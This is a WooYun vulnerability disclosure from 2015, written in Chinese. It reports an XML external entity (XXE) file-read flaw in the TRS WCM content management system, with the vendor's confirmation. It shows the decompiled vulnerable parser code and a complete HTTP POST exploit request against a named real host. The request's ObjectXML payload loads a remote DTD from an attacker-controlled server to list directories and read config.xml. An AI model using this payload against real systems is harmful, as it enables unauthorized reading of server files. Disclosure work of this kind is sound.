当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145681

漏洞标题:TRSWCM的通杀所有版本文件读取漏洞

相关厂商:北京拓尔思信息技术股份有限公司

漏洞作者: applychen

提交时间:2015-10-10 11:19

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-10: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-15: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-06: 细节向核心白帽子及相关领域专家公开
2015-12-16: 细节向普通白帽子公开
2015-12-26: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

TRSWCM文件读取漏洞,好像是通杀所有版本……

详细说明:

在com/trs/cms/content/WCMObjHelper.java中的private static void parseXMLFile()使用SAX解析XML导致实体注入:

/*     */   private static void parseXMLFile(InputSource paramInputSource, DefaultHandler paramDefaultHandler, boolean paramBoolean)
/* */ throws WCMException
/* */ {
/* */ try
/* */ {
/* 270 */ SAXParserFactory localSAXParserFactory = SAXParserFactory.newInstance();
/* 271 */ localSAXParserFactory.setValidating(paramBoolean);
/* */
/* 274 */ localSAXParserFactory.newSAXParser().parse(paramInputSource, paramDefaultHandler);//解析XML
/* */ } catch (SAXException localSAXException) {
/* 276 */ throw new WCMException(150, I18NMessage.get(WCMObjHelper.class, "WCMObjHelper.label6", "解析数据时发生异常!") + localSAXException.getMessage(), localSAXException);
/* */ }
/* */ catch (ParserConfigurationException localParserConfigurationException)
/* */ {
/* 282 */ logger.debug("ParserConfigurationException:" + localParserConfigurationException.getMessage());
/* */ } catch (IOException localIOException) {
/* 284 */ logger.debug("IOException:" + localIOException.getMessage());
/* */ }
/* */ }


此方法最终在reg_newuser_dowith.jsp文件中被调用:

public static CMSObj toWCMObj(String paramString, CMSObj paramCMSObj)
/* */ throws WCMException
/* */ {
/* 77 */ if ((paramString == null) || (paramString.length() <= 0)) {
/* 78 */ return null;
/* */ }
/* 80 */ Reader localReader = null;
/* */ try {
/* 82 */ WCMHandler localWCMHandler = new WCMHandler(paramCMSObj);
/* */
/* 86 */ localReader = getReader(CMyString.filterForJDOM(paramString));
/* 87 */ parseXMLFile(new InputSource(localReader), localWCMHandler, false);//调用parseXMLFile()
/* */
/* 89 */ CMSObj localCMSObj1 = localWCMHandler.getWCMObj();
/* 90 */ localCMSObj1.removeProperty(localCMSObj1.getIdFieldName());
/* */


//6.业务代码
try{
currUser = (User)WCMObjHelper.toWCMObj(currRequestHelper.getString("ObjectXML"), loginUser, 0, User.class);//调用toWCMObj()
} catch(Exception ex){
throw new WCMException(ExceptionNumber.ERR_PROPERTY_VALUE_INVALID, "保存用户时因属性值不正确而失败中止!", ex);
}

currUser.save(loginUser);


以wcm.cnr.cn为例,直接burpsuite发送以下数据包,在1.xml中使用gopher、ftp等协议控制读取文件等操作:

POST /wcm/console/auth/reg_newuser_dowith.jsp HTTP/1.1
Host: wcm.cnr.cn
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://wcm.cnr.cn/wcm/console/auth/reg_newuser.jsp
Cookie: JSESSIONID=70C0A254A8662618477A7C2C709C614A
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
ObjectXML=<!DOCTYPE+root+[<!ENTITY+%25+remote+SYSTEM+"http%3a//ip/1.xml">%25remote%3b]>


列出目录:

1.png


读取文件config.xml:

2.png


漏洞证明:

同上

修复方案:

获取ObjectXML等参数传递的数据的时候过滤其中的<!DOCTYPE关键字

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-10-12 13:36

厂商回复:

感谢您的反馈,经确认问题存在。在非可控的xml输入源的情况下,解析xml时存在安全隐患,目前已完成修复方案的制定和补丁包的提供,将尽快为用户进行修复。
*** 安全无止境,我们一直在努力!***

最新状态:

暂无